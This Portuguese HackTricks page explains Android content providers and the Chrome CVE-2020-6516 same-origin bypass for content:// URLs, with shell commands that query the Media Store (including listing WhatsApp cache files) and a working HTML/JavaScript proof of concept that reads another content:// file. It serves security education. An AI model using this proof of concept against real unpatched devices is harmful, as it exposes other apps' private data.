9 KiB
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Para experimentar com provedores de conteúdo, pode-se usar o comando content
em dispositivos Android. Acesso root não é necessariamente requerido. Por exemplo, para ver a lista de arquivos gerenciados pelo Media Store, pode-se executar o seguinte comando:
$ content query --uri content://media/external/file
Para tornar a saída mais amigável para o usuário, pode-se limitar as colunas exibidas ao identificador e caminho de cada arquivo indexado.
$ content query --uri content://media/external/file --projection _id,_data
Os provedores de mídia existem em seu próprio namespace privado. Como ilustrado no exemplo acima, para acessar um provedor de conteúdo, o URI correspondente content://
deve ser especificado. Geralmente, informações sobre os caminhos pelos quais um provedor pode ser acessado podem ser recuperadas olhando para os manifestos de aplicativos (caso o provedor de conteúdo seja exportado por um aplicativo) ou o código-fonte do framework Android.
Curiosamente, nos dispositivos Android, o Chrome suporta o acesso a provedores de conteúdo através do esquema content://
. Esse recurso permite que o navegador acesse recursos (por exemplo, fotos, documentos etc.) exportados por aplicativos de terceiros. Para verificar isso, pode-se inserir uma entrada personalizada na Media Store e, em seguida, acessá-la usando o navegador:
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Para descobrir o identificador do arquivo recém-inserido:
$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
E para visualizar o arquivo no Chrome, pode-se usar uma URL como a mostrada na imagem a seguir. Observe o identificador do arquivo 747 (descoberto acima) que é usado como sufixo na URL.
Por exemplo, você poderia listar todos os arquivos relacionados ao WhatsApp com:
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
O bypass da Política de Mesma Origem (Same-Origin-Policy) do Chrome CVE-2020-6516
A Política de Mesma Origem (Same Origin Policy - SOP) [12] nos navegadores determina que o conteúdo Javascript da URL A só poderá acessar o conteúdo na URL B se os seguintes atributos da URL permanecerem os mesmos para A e B:
- O protocolo, por exemplo,
https
vs.http
- O domínio, por exemplo,
www.example1.com
vs.www.example2.com
- A porta, por exemplo,
www.example1.com:8080
vs.www.example1.com:8443
Claro, existem exceções às regras acima, mas em geral, um recurso de https://www.example1.com
(por exemplo, um código Javascript) não pode acessar o DOM de um recurso em https://www.example2.com
, pois isso introduziria vazamentos de informações graves. A menos que uma política de Compartilhamento de Recursos de Origem Cruzada (Cross-Origin-Resource-Sharing - CORS) permita explicitamente, não deveria ser possível para um recurso da web contornar as regras da SOP.
É essencial notar que o Chrome considera content://
como um esquema local, assim como file://
. Neste caso, as regras da SOP são ainda mais estritas, pois cada URL de esquema local é considerada uma origem separada. Por exemplo, o código Javascript em file:///tmp/test.html não deveria ser capaz de acessar o conteúdo de file:///tmp/test2.html, ou qualquer outro arquivo no sistema de arquivos. Consequentemente, de acordo com as regras da SOP, um recurso carregado via content://
não deveria poder acessar qualquer outro recurso content://
. Bem, a vulnerabilidade CVE-2020-6516 do Chrome criou uma "exceção" a essa regra.
CVE-2020-6516 [03] é um bypass da SOP em recursos carregados via uma URL content://
. Por exemplo, código Javascript, executando dentro do contexto de um documento HTML carregado de content://com.example.provider/test.html
, pode carregar e acessar qualquer outro recurso carregado via uma URL content://
. Esta é uma vulnerabilidade grave, especialmente em dispositivos que executam o Android 9 ou versões anteriores do Android. Nestes dispositivos, o armazenamento restrito [13] não é implementado e, consequentemente, dados específicos de aplicativos em /sdcard, e mais interessantemente em /sdcard/Android, podem ser acessados através do provedor de conteúdo da Loja de Mídia do sistema.
Uma prova de conceito é bastante simples. Um documento HTML que usa XMLHttpRequest
para acessar URLs content://
arbitrárias é carregado em /sdcard. Em seguida, é adicionado na Loja de Mídia e renderizado no Chrome, de maneira semelhante ao exemplo mostrado anteriormente. Para fins de demonstração, pode-se tentar carregar content://media/external/file/747
que é, de fato, a URL da Loja de Mídia do exemplo "Olá, mundo!". Surpreendentemente, o código Javascript, executando dentro da origem do documento HTML, irá buscar e exibir o conteúdo de test.txt.
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Informações retiradas deste artigo: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Aprenda a hackear AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.